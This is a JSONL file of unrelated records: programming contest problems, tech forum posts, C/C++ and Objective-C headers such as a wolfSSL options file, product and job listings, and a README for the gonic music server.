{"text": "One day Vasya painted a Cartesian coordinate system on a piece of paper and marked some set of points (x1, y1), (x2, y2), ..., (xn, yn). Let's define neighbors for some fixed point from the given set (x, y):\n\n- point (x', y') is (x, y)'s right neighbor, if x' > x and y' = y\n- point (x', y') is (x, y)'s left neighbor, if x' < x and y' = y\n- point (x', y') is (x, y)'s lower neighbor, if x' = x and y' < y\n- point (x', y') is (x, y)'s upper neighbor, if x' = x and y' > y\n\nWe'll consider point (x, y) from the given set supercentral, if it has at least one upper, at least one lower, at least one left and at least one right neighbor among this set's points.\n\nVasya marked quite many points on the paper. Analyzing the picture manually is rather a challenge, so Vasya asked you to help him. Your task is to find the number of supercentral points in the given set.", "source": "cpt_codeforces", "language": "en", "token_count": 312, "token_count_with_eod": 313, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm working with DNA methylation data obtained from the EPIC chip. I've previously used the R package Bumphunter for differentially methylated regions (DMRs). In my current project, I would like to specify a list of specific regions for bumphunter to analyse. In other words, I'm looking for a way to \"fix\" the regions in advance, and then tell Bumphunter to look at those specific regions - in stead of Bumphunter analysing DMRs genome wide.\nDoes anyone have any experience or know if it is possible to tweak bumphunter commands to restrict such regions?\nI'm very grateful for any response and help to get me a step closer to solve this :)\nThanks for reading!\nIf you want to make a comment, please use ADD COMMENT, rather than Add Answer (unless of course you are actually answering your own question).\nOpps, will do next time! I'm new to this support site.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If I use my crappy ADSL (6/0.9mbit) which has a better ping (10 ms) it starts really quickly, by comparing files really quickly.\nIf I use my higher bandwidth 4G (50/30mbit), which has stable, but slightly worse ping of 40ms the comparison dialog is noticeably slower.\nThis lead me to conclude that WinSCP's synchronization comparison dialog does not use multiple connections.\nAlso I'd like to know if the uploading changes in \"keep remote up to date\" mode is using multiple connections? It sometimes seems slow when it uploads a lot of files.\nI think the \"keep remote up to date\" and \"synchronization\" should start multiple connections immediately and keep them ready when changes comes so that it can quickly upload multiple files.\nThanks, great work, just donated a $9 with no expectations to do anything, as my gratitude for using this program for ages.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 197, "token_count_with_eod": 198, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Rally - Excel Plugin: Unable to parse SSO landing page\nArticle ID: 102075\nCA Agile Central On Premise (Rally)CA Agile Central SaaS (Rally)\nWhile trying to connect to Agile Central using the Excel Plugin, the user receives error, \"Error connecting to CA Agile Central: Unable to parse SSO landing page\".\n<Please see attached file for image>\nUnfortunately this is a known issue with the current version of the Excel Plugin. Because this issue affects a low number of users and the Excel plugin is currently undergoing a full rewrite, the decision was made not to fix the defect. Engineering resources are instead being used to work on the new version of the plugin.\nIf the minimum version requirement can not be met, users can request to be put on the SSO Exceptions list by their local Subscription Administrators. This will allow the user to login to Agile Central (including the current Excel Plugin) using their Username and Password. Users will no longer receive the parsing error and will be able to connect using the Excel plugin.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 221, "token_count_with_eod": 222, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* wolfssl options.h\n * generated from configure options\n *\n * Copyright (C) 2006-2015 wolfSSL Inc.\n *\n * This file is part of wolfSSL. (formerly known as CyaSSL)\n *\n */\n\n#ifndef WOLFSSL_OPTIONS_H\n#define WOLFSSL_OPTIONS_H\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#undef  NO_DEV_RANDOM\n#define NO_DEV_RANDOM\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_PK_CALLBACKS\n#define HAVE_PK_CALLBACKS\n\n#undef  WOLFSSL_AES_DIRECT\n#define WOLFSSL_AES_DIRECT\n\n#undef  NO_WOLFSSL_DIR\n#define NO_WOLFSSL_DIR\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  WOLFSSL_USER_IO\n#define WOLFSSL_USER_IO\n\n#undef  NO_WRITEV\n#define NO_WRITEV\n\n#undef  NO_DEV_RANDOM\n#define NO_DEV_RANDOM\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_PK_CALLBACKS\n#define HAVE_PK_CALLBACKS\n\n#undef  WOLFSSL_AES_DIRECT\n#define WOLFSSL_AES_DIRECT\n\n#undef  NO_WOLFSSL_DIR\n#define NO_WOLFSSL_DIR\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  WOLFSSL_USER_IO\n#define WOLFSSL_USER_IO\n\n#undef  NO_WRITEV\n#define NO_WRITEV\n\n#undef  HAVE_FFDHE_2048\n#define HAVE_FFDHE_2048\n\n#undef  WOLFSSL_VERIFY_CB_ALL_CERTS\n#define WOLFSSL_VERIFY_CB_ALL_CERTS\n\n#undef  WOLFSSL_EXTRA_ALERTS\n#define WOLFSSL_EXTRA_ALERTS\n\n#undef  OPENSSL_EXTRA\n#define OPENSSL_EXTRA\n\n#undef  WOLFSSL_ALWAYS_VERIFY_CB\n#define WOLFSSL_ALWAYS_VERIFY_CB\n\n#undef  SINGLE_THREADED\n#define SINGLE_THREADED\n\n#undef  HAVE_THREAD_LS\n#define HAVE_THREAD_LS\n\n#undef  TFM_TIMING_RESISTANT\n#define TFM_TIMING_RESISTANT\n\n#undef  ECC_TIMING_RESISTANT\n#define ECC_TIMING_RESISTANT\n\n#undef  WC_RSA_BLINDING\n#define WC_RSA_BLINDING\n\n#undef  HAVE_AESGCM\n#define HAVE_AESGCM\n\n#undef  WOLFSSL_SHA512\n#define WOLFSSL_SHA512\n\n#undef  WOLFSSL_SHA384\n#define WOLFSSL_SHA384\n\n#undef  NO_DSA\n#define NO_DSA\n\n#undef  HAVE_ECC\n#define HAVE_ECC\n\n#undef  TFM_ECC256\n#define TFM_ECC256\n\n#undef  ECC_SHAMIR\n#define ECC_SHAMIR\n\n#undef  NO_RC4\n#define NO_RC4\n\n#undef  NO_HC128\n#define NO_HC128\n\n#undef  NO_RABBIT\n#define NO_RABBIT\n\n#undef  HAVE_POLY1305\n#define HAVE_POLY1305\n\n#undef  HAVE_ONE_TIME_AUTH\n#define HAVE_ONE_TIME_AUTH\n\n#undef  HAVE_CHACHA\n#define HAVE_CHACHA\n\n#undef  HAVE_HASHDRBG\n#define HAVE_HASHDRBG\n\n#undef  NO_FILESYSTEM\n#define NO_FILESYSTEM\n\n#undef  HAVE_TLS_EXTENSIONS\n#define HAVE_TLS_EXTENSIONS\n\n#undef  HAVE_SUPPORTED_CURVES\n#define HAVE_SUPPORTED_CURVES\n\n#undef  HAVE_EXTENDED_MASTER\n#define HAVE_EXTENDED_MASTER\n\n#undef  HAVE_ENCRYPT_THEN_MAC\n#define HAVE_ENCRYPT_THEN_MAC\n\n#undef  NO_PSK\n#define NO_PSK\n\n#undef  NO_MD4\n#define NO_MD4\n\n#undef  WOLFSSL_ENCRYPTED_KEYS\n#define WOLFSSL_ENCRYPTED_KEYS\n\n#undef  USE_FAST_MATH\n#define USE_FAST_MATH\n\n#undef  WC_NO_ASYNC_THREADING\n#define WC_NO_ASYNC_THREADING\n\n#undef  NO_DES3\n#define NO_DES3\n\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif /* WOLFSSL_OPTIONS_H */", "source": "cpt_stack_code", "language": "code", "token_count": 817, "token_count_with_eod": 818, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Let's define a cyclic shift of some string $$$s$$$ as a transformation from $$$s_1 s_2 \\dots s_{n-1} s_{n}$$$ into $$$s_{n} s_1 s_2 \\dots s_{n-1}$$$. In other words, you take one last character $$$s_n$$$ and place it before the first character while moving all other characters to the right.\n\nYou are given a binary string $$$s$$$ (a string consisting of only 0-s and/or 1-s).\n\nIn one operation, you can choose any substring $$$s_l s_{l+1} \\dots s_r$$$ ($$$1 \\le l < r \\le |s|$$$) and cyclically shift it. The cost of such operation is equal to $$$r - l + 1$$$ (or the length of the chosen substring).\n\nYou can perform the given operation any number of times. What is the minimum total cost to make $$$s$$$ sorted in non-descending order?", "source": "cpt_codeforces", "language": "en", "token_count": 212, "token_count_with_eod": 213, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Primordial black holes (PBHs), if they exist, may shed light on long-standing questions on the nature of dark matter and mechanism driving cosmic inflation. If we associate their origin to the presence of enhanced primordial scalar fluctuations generated during inflation, the underlying dynamics that populates these objects can also provide distinctive sources of gravitational waves (GWs), potentially detectable with current or forthcoming GW experiments. Therefore, their population, along with the associated GW signal offer promising opportunities to shed light on the nature of inflation, by opening up a unique window to its dynamics at scales inaccessible by conventional CMB probes. In this talk, I will review some of the compelling inflationary scenarios able to trigger the formation of such objects in the post-inflationary universe by enhancing the amplitude of the primordial scalar perturbations. In this context, I will discuss single and multi-field realizations with a focus on theoretical aspects of model building discussing common themes shared among models in conjunction with their distinctive phenomenological implications in the form of a primordial GW background.\nHost: Gonzalo Alvarez", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The theme option will not lost, for safe, the backup is necessary.\nIf you add the CSS into child theme, the added CSS will not lost.\nYou can not upload the same theme before delete it, because it will be conflict, they are same fold name.\nFor safe, you could rename the old Air theme folder on FTP firstly.\nSo the correct order should be:\n1) backup site on Siteground (my host(\n2) download latest Air theme version from Themeforest\n3) rename old Air theme folder(like:old-air) on FTP\n4) upload new theme fold to WordPress", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "To browse through our products, click on the category from our list to view all items in that category. You may also use our search tool to find a product with one or more keywords.\n8 PIECE WHISPER COLLECTION$56.00 $39.00\nThe \"Must Have\" Vegan Brush Combo Set$17.00 $12.00\n6 PC Travel Vegan Brush Set$25.00 $19.00\nPERFECT FINISH SETTING SPRAY$12.00 $10.20\nMIRRORED POWDER COMPACT WITH FLOCKED MAKEUP SPONGE$10.50", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is a Braggin' Board for all the Ice Fisherman out there.\nCan be played in two ways:\nFirst: The board contains 5 rows. Each person has a row and keeps track of the number of fish caught. (any species)\nSecond: There are four species of fish listed on the bottom of the board: Walleye, Pike, Perch, Panfish...Designate the first row for the number of walleyes caught; second row for number of pike caught, third row for perch, fourth row for panfish and the fifth row for \"other\" species of fish caught.\nBoard is in the shape of a wood paddle. 23.75\"T x 5.25\"W", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 154, "token_count_with_eod": 155, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array of integers $$$a_1, a_2, \\ldots, a_n$$$ and an integer $$$k$$$. You need to make it beautiful with the least amount of operations.\n\nBefore applying operations, you can shuffle the array elements as you like. For one operation, you can do the following:\n\n- Choose an index $$$1 \\leq i \\leq n$$$,\n- Make $$$a_i = a_i + k$$$.\n\nThe array $$$b_1, b_2, \\ldots, b_n$$$ is beautiful if $$$b_i = b_{n - i + 1}$$$ for all $$$1 \\leq i \\leq n$$$.\n\nFind the minimum number of operations needed to make the array beautiful, or report that it is impossible.", "source": "cpt_codeforces", "language": "en", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Little John aspires to become a plumber! Today he has drawn a grid consisting of n rows and m columns, consisting of n × m square cells.\n\nIn each cell he will draw a pipe segment. He can only draw four types of segments numbered from 1 to 4, illustrated as follows:\n\nEach pipe segment has two ends, illustrated by the arrows in the picture above. For example, segment 1 has ends at top and left side of it.\n\nLittle John considers the piping system to be leaking if there is at least one pipe segment inside the grid whose end is not connected to another pipe's end or to the border of the grid. The image below shows an example of leaking and non-leaking systems of size 1 × 2.\n\nNow, you will be given the grid that has been partially filled by Little John. Each cell will either contain one of the four segments above, or be empty. Find the number of possible different non-leaking final systems after Little John finishes filling all of the empty cells with pipe segments. Print this number modulo 1000003 (106 + 3).\n\nNote that rotations or flipping of the grid are not allowed and so two configurations that are identical only when one of them has been rotated or flipped either horizontally or vertically are considered two different configurations.", "source": "cpt_codeforces", "language": "en", "token_count": 273, "token_count_with_eod": 274, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/*\n * Copyright 2006-2009, 2017, 2020 United States Government, as represented by the\n * Administrator of the National Aeronautics and Space Administration.\n * All rights reserved.\n * \n * The NASA World Wind Java (WWJ) platform is licensed under the Apache License,\n * Version 2.0 (the \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software distributed\n * under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR\n * CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n * \n * NASA World Wind Java (WWJ) also contains the following 3rd party Open Source\n * software:\n * \n *     Jackson Parser – Licensed under Apache 2.0\n *     GDAL – Licensed under MIT\n *     JOGL – Licensed under  Berkeley Software Distribution (BSD)\n *     Gluegen – Licensed under Berkeley Software Distribution (BSD)\n * \n * A complete listing of 3rd Party software notices and licenses included in\n * NASA World Wind Java (WWJ)  can be found in the WorldWindJava-v2.2 3rd-party\n * notices and licenses PDF found in code directory.\n */\n\n#include \"stdafx.h\"\n\n#ifndef MUTEX_LOCK_H\n#define MUTEX_LOCK_H\n\n/**\n * Lock on a Windows mutex. The lock is acquired when the MutexLock object is created,\n * and is released when the object is destroyed.\n *\n * Usage:\n * .... non-critical code ...\n * {\n *     MutexLock lock(mutex); // Mutex is acquired\n *     ... critical code ...\n * } // lock object is destroyed, releasing mutex\n *\n * @author pabercrombie\n * @version $Id: MutexLock.h 1171 2013-02-11 21:45:02Z dcollins $\n */\nclass MutexLock {\npublic:\n    /** Create a mutex lock. */\n    MutexLock(HANDLE mutex)\n        : mutex(mutex)\n    {\n        DWORD dwWaitResult = WaitForSingleObject(mutex, INFINITE);\n        if (dwWaitResult != WAIT_OBJECT_0)\n        {\n            Logging::logger()->severe(L\"NativeLib.ErrorInNativeLib\", GetLastError());\n        }\n    }\n\n    /** Destroy the mutex lock. */\n    ~MutexLock() {\n        ReleaseMutex(mutex);\n    }\n\nprotected:\n    HANDLE mutex;\n};\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 604, "token_count_with_eod": 605, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A Research and Development company, which researches and builds light weighted and loosely coupled components and application frameworks in Windows/Linux.\n(Freshers) Walk-In : BE / B.Tech / MCA / ME / M.Tech / B.Sc / BCA / M.Sc : 2012 Passout Only : .NET Developers @ Chennai\nJob Position : Dotnet Developer\nJob Designation : Software Developer\nJob Category : IT / Software\nWalk-In Location : Chennai, Tamilnadu\nJob Location : Chennai, Tamilnadu\nCompensation : INR 1,75,000 - 2,75,000 P.A\nEligibility Criteria :\n• B.E / B.Tech / B.Sc (CS) / B.Sc (IT) / BCA / M.E (CSE) / M.Tech (IT) / M.Sc (CS) / M.Sc (IT) / MCA\n• Must be a 2012 Pass Out candidate\n• Willingness and ability to learn new concepts and techniques\n• Ability for hard and smart work\n• Must have dynamic approach to work\nDesired Experience : 0 Years\nMandatory Skills :\n• .NET, LINQ, C#, Windows application, COM, DCOM, Object Oriented Programming, OOM, OOPS, WPF\nDesired Skills :\n• Must be proficient with .NET, LINQ, C#, Windows application, COM, DCOM, Object Oriented Programming, OOM, OOPS, WPF.\nJob Description :\n• To research and build re-usable components and application frameworks using Microsoft's WPF, Object oriented modelling and Component object model.\n• The research and development activities use Microsoft Visual C# as implementation vehicle.\nPlease Carry below documents (mandatory) :\n• Updated Resume Copy\n• Photo ID proof\nNote: Candidates without knowledge/certification in '.NET' - Please do NOT apply.\nWalk-In Date : From 25th to 28th March 2013 : 9.00 AM\nWalk-In Venue :\n117, 2nd floor, 2nd wing, Nelson towers Nelson Manickam Road,\nContact Person : HR\nContact Number : +91-44-23746808", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 485, "token_count_with_eod": 486, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I used to get 60 -70 fps with fps boost, now I am stuck with 40-30 fps, my monitor is 165hz and this disturbs me\nWhy people are prevented from customizing the simulation and making performance modes\nThe simulation does not give as good results as the mod I installed before, even if I get the added setting as low.\nWhen I set up fps boost , I cannot add routes from aircraft. How can I solve this?\nPlease restore support for FPS BOOST plugin until DX12 is released. good work", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A spike is a small, disposable experiment in code. After learning about your problem or solution via the spike, you throw it away and rewrite the code using TDD. Here, we look at a process for doing that incrementally, using the spike as a guide and git's rebase functionality as the means. It's only appropriate when the spiked code is heavily constrained by external interfaces. But, in that case, it can guide you through tricky third party interactions. Because this is a subtle topic, the screencast is necessarily demonstrating a simplified form: the spiked and TDDed code are identical. When doing this in practice, the rebases will result in nontrivial conflicts since the implementations won't be identical. The more dissimilar they are, the closer you are to true test driven design, and the less useful this technique is.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ilya is a very clever lion, he lives in an unusual city ZooVille. In this city all the animals have their rights and obligations. Moreover, they even have their own bank accounts. The state of a bank account is an integer. The state of a bank account can be a negative number. This means that the owner of the account owes the bank money.\n\nIlya the Lion has recently had a birthday, so he got a lot of gifts. One of them (the gift of the main ZooVille bank) is the opportunity to delete the last digit or the digit before last from the state of his bank account no more than once. For example, if the state of Ilya's bank account is -123, then Ilya can delete the last digit and get his account balance equal to -12, also he can remove its digit before last and get the account balance equal to -13. Of course, Ilya is permitted not to use the opportunity to delete a digit from the balance.\n\nIlya is not very good at math, and that's why he asks you to help him maximize his bank account. Find the maximum state of the bank account that can be obtained using the bank's gift.", "source": "cpt_codeforces", "language": "en", "token_count": 250, "token_count_with_eod": 251, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "why Windows Server?\nHas anyone tried running there CarPC on W2K8 yet? I am a MSDN subscriber I am thinking about giving it a whirl with RoadRunner.\n*shrug* some people seem to be using w2k3\nwin2k3 has better memory management over xp and probably 2000. Hence why I use it :P\nBut win2k8 is based on vista, i don't want to touch that for a while after seeing how vista itself runs...\ntru.. i'll still give it a whirl for the heck of it\nShould be pretty nice if you have:\n- driver support for your hardware\n- compatible software\n- Enough horsepower\n- Enough disk space for the larger OS.\nSQL Server on the go that logs all GPS data? Could be cool...\n2006 Lancer Evolution IX MR In-Dash PC Project - WIP\nInstallation/Fab/Assembly (Revised v2):\nGalvitron, nice idea about SQL logging GPS data on the go, that got me thinking and it can be done in XP using SQL Server Express which is the free version of SQL Server 2005 I am sure express has enough capabilities to handle straight out logging and queries...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 260, "token_count_with_eod": 261, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//========= Copyright Valve Corporation, All rights reserved. ============//\r\n//\r\n// Purpose: \r\n//\r\n// $Workfile:     $\r\n// $Date:         $\r\n// $NoKeywords: $\r\n//=============================================================================//\r\n#if !defined( ICLIENTENTITYLIST_H )\r\n#define ICLIENTENTITYLIST_H\r\n\r\n#ifdef _WIN32\r\n#pragma once\r\n#endif\r\n\r\n#include \"interface.h\"\r\n\r\nclass IClientEntity;\r\nclass ClientClass;\r\nclass IClientNetworkable;\r\nclass CBaseHandle;\r\nclass IClientUnknown;\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n// Purpose: Exposes IClientEntity's to engine\r\n//-----------------------------------------------------------------------------\r\nabstract_class IClientEntityList\r\n{\r\npublic:\r\n\t// Get IClientNetworkable interface for specified entity\r\n\tvirtual IClientNetworkable*\tGetClientNetworkable( int entnum ) = 0;\r\n\tvirtual IClientNetworkable*\tGetClientNetworkableFromHandle( CBaseHandle hEnt ) = 0;\r\n\tvirtual IClientUnknown*\t\tGetClientUnknownFromHandle( CBaseHandle hEnt ) = 0;\r\n\r\n\t// NOTE: This function is only a convenience wrapper.\r\n\t// It returns GetClientNetworkable( entnum )->GetIClientEntity().\r\n\tvirtual IClientEntity*\t\tGetClientEntity( int entnum ) = 0;\r\n\tvirtual IClientEntity*\t\tGetClientEntityFromHandle( CBaseHandle hEnt ) = 0;\r\n\r\n\t// Returns number of entities currently in use\r\n\tvirtual int\t\t\t\t\tNumberOfEntities( bool bIncludeNonNetworkable ) = 0;\r\n\r\n\t// Returns highest index actually used\r\n\tvirtual int\t\t\t\t\tGetHighestEntityIndex( void ) = 0;\r\n\r\n\t// Sizes entity list to specified size\r\n\tvirtual void\t\t\t\tSetMaxEntities( int maxents ) = 0;\r\n\tvirtual int\t\t\t\t\tGetMaxEntities( ) = 0;\r\n};\r\n\r\nextern IClientEntityList *entitylist;\r\n\r\n#define VCLIENTENTITYLIST_INTERFACE_VERSION\t\"VClientEntityList003\"\r\n\r\n#endif // ICLIENTENTITYLIST_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I have a stick of 512MB DDR 2700 that, when I ran a test on it, came up with a bad sector. Just 1 sectore came up bad around 434MB. Just wondering if I should leave that stick out and just run with 512MB (should let you know, i'm a gamer) or go ahead and use the second 512 stick, with bad sector, to talk 1GB.\nI plan to upgrade to a new system within the next half-year, so I don't really want to go and buy 512MB of new RAM that I'll just toss aside in a few months.\nAnother possibility is to put in a stick of 256MB 2100 to total up to 768MBs. Not sure if I can aquire that 256 stick yet or not, let me know what you all think, and thank you.\nMobo: Epox 8K7A+\nCPU: AMD Athlon XP2200+\nOS: Windows XP pro SP1\nHD: WD 80GB\nHD: WD 180GB SE\nRAM: 2x512MB DDR 2100", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* Generated by RuntimeBrowser\n   Image: /System/Library/Frameworks/AddressBookUI.framework/AddressBookUI\n */\n\n@interface ABMultiCellContentView_Name : ABMultiCellContentView_Rows\n\n+ (unsigned long long)rowsForPropertyGroup:(id)arg1 info:(id)arg2;\n\n- (id)displayTextColor;\n- (void)entryField:(id)arg1 valueDidChange:(id)arg2 forKey:(id)arg3;\n- (id)keyboardSettingsForKey:(id)arg1;\n- (id)labelTextColorWhenEditing:(bool)arg1;\n- (void)reload;\n- (void)reloadFromModel;\n- (void)reloadFromModelIncludingRows:(bool)arg1;\n- (void)reloadLabelFromModel;\n- (void)setEditing:(bool)arg1 animated:(bool)arg2;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Senior Manager - IT infrastructure Service Design chez HCL Technologies @ Greater Lyon Area\nEngineering Manager at Tookitaki | AML | ML | AWS Professional Solution Architect | Ex - Agoda | IIT Bombay\nExperienced Lead ML Engineer with a demonstrated history of working in Big Data technologies and productionizing ML solutions with over 6 years of experience. Skilled in Scala, Python, Big Data ecosystem components like Yarn, Spark, Hadoop, HDFS, HBase, Hive and certified AWS Solution architect. Strong information technology professional with a Dual degree (BTech + MTech) focused in Electrical and Electronics Engineering and specialisation in communication and signal processing from Indian Institute of Technology, Bombay(IIT-B).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Global Volcanism Program | Image GVP-01023\nThe youngest crater of Dempo volcano, at the WNW end of a series of six partially overlapping craters at the summit, contains a 400-m-wide crater lake that has been the source of frequent phreatic eruptions during historical time. A seventh smaller crater is located on the upper N flank. Dempo is one of Sumatra's most active volcanoes, frequently producing small-to-moderate explosive eruptions.\nPhoto by Ruska Hadian, 1989 (Volcanological Survey of Indonesia).\nThis image is made available under the Creative Commons BY-NC 4.0 license terms.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "At Realistic Love Doll we believe that 2018 will be the year of cryptocurrencies. To celebrate the invention and the recent introduction of cryptocurrencies to our world, we now accept ethers and bitcoins as payment on Realistic-Love-Doll ! Indeed, it’s also a very secure method to make discreet payments !\nWhy Should You Use Cryptocurrencies\n- Quick and Instant Payments\n- No Risk of Fraud\n- No Risk of Identity Theft\n- Global Currency\nEthereum is a decentralized blockchain platform for “building unstoppable applications”, while Ether is the cryptocurrency used on this platform. Ethereum can be used for virtually any kind of transaction or agreement (to put it another way, any kind of activity that has an economic or governance aspect), at a lower cost than conventional alternatives, such as debit card payments, PayPal, and ballot voting, in a way that is decentralized, trustless (no intermediary like a bank is needed, Bob can send X ETH directly to Alice), secure, safe and live (with some assumptions like an honest majority of securitors), and censorship-resistant. (from Github Ethereum)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 224, "token_count_with_eod": 225, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Fill out your copyright notice in the Description page of Project Settings.\n\n#pragma once\n\n#include \"CoreMinimal.h\"\n#include \"AI/Base/CI_BaseAIController_CPP.h\"\n#include \"CI_BaseStaffController_CPP.generated.h\"\n\n/**\n * \n */\nUCLASS()\nclass CASINO_INC_API ACI_BaseStaffController_CPP : public ACI_BaseAIController_CPP\n{\n\tGENERATED_BODY()\n\npublic:\n\tvirtual void Tick(float DeltaSeconds) override;\n\t\nprotected:\n\tvirtual void HourChanged(int hourNumber) override;\n\npublic:\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint startWorkTime = 8;\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint endWorkTime = 16;\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint workStintLength = 8;\n\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"cost\")\n\t\tint hourlySalary = 10;\n\nprotected:\n\n};", "source": "cpt_stack_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "subsonic, supporting its many clientsFLOSS alternative to\n- browsing by folder (keeping your full tree intact)\n- browsing by tags (using taglib - supports mp3, opus, flac, ape, m4a, wav, etc.)\n- pretty fast scanning (with my library of ~27k tracks, initial scan takes about 10m, and about 5s after incrementally)\n- last.fm scrobbling\n- multiple users\n- a web interface for configuration (set up last.fm, manage users, start scans, etc.)\n- newer salt and token auth\n- tested on dsub and jamstash\nthe default login is admin/admin.\npassword can then be changed from the web interface\n$ apt install build-essential git sqlite libtag1-dev # for debian like $ pacman -S base-devel git sqlite taglib # for arch like $ go get senan.xyz/g/gonic/cmd/gonic $ export PATH=$PATH:$HOME/go/bin $ gonic -h # or see \"configuration options below\"\nnote: unfortunately if you do this above, you'll be compiling gonic locally on your machine (if someone knows how I can statically link sqlite3 and taglib, please let me know so I can distribute static binaries)\nor else you can run in docker, available on dockerhub as\n# example docker-compose.yml version: '3' services: gonic: image: sentriz/gonic:latest environment: - TZ # optionally, see env vars below expose: - 80 volumes: - ./data:/data - /path/to/music:/music:ro\nthen start with\ndocker-compose up -d\n|env var||command line arg||description|\n||path to your music collection|\n||optional path to database file|\n||optional host and port to listen on (eg.\n||optional interval (in minutes) to check for new music (automatic scanning disabled if omitted)|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 405, "token_count_with_eod": 406, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sometimes some words like \"localization\" or \"internationalization\" are so long that writing them many times in one text is quite tiresome.\n\nLet's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation.\n\nThis abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes.\n\nThus, \"localization\" will be spelt as \"l10n\", and \"internationalization» will be spelt as \"i18n\".\n\nYou are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes.", "source": "cpt_codeforces", "language": "en", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Additional Images: Notice - Some images may contain material not suitable for all audiences.\nShaderWorks for Lotus Gown is the companion product for Lotus Gown by Arki! Not only will it make the use of these wonderful clothes easier, it will also open lots of possibilities with a nice colored and customizable shader\nLoad all Lotus Gown clothes and ornaments at once\nHide and Show clothes for easy posing.\nCopy dress settings and morphs settings on all clothes at once.\nApply the default textures on all clothes at once or…\nApply a velvet shader on all clothes.\n2 main scripts\n31 scripts to be launched with the Python palette\n27 scripts to be launched from the ScriptsMenu (Poser 7 or Poser Pro)\nOne resource file", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
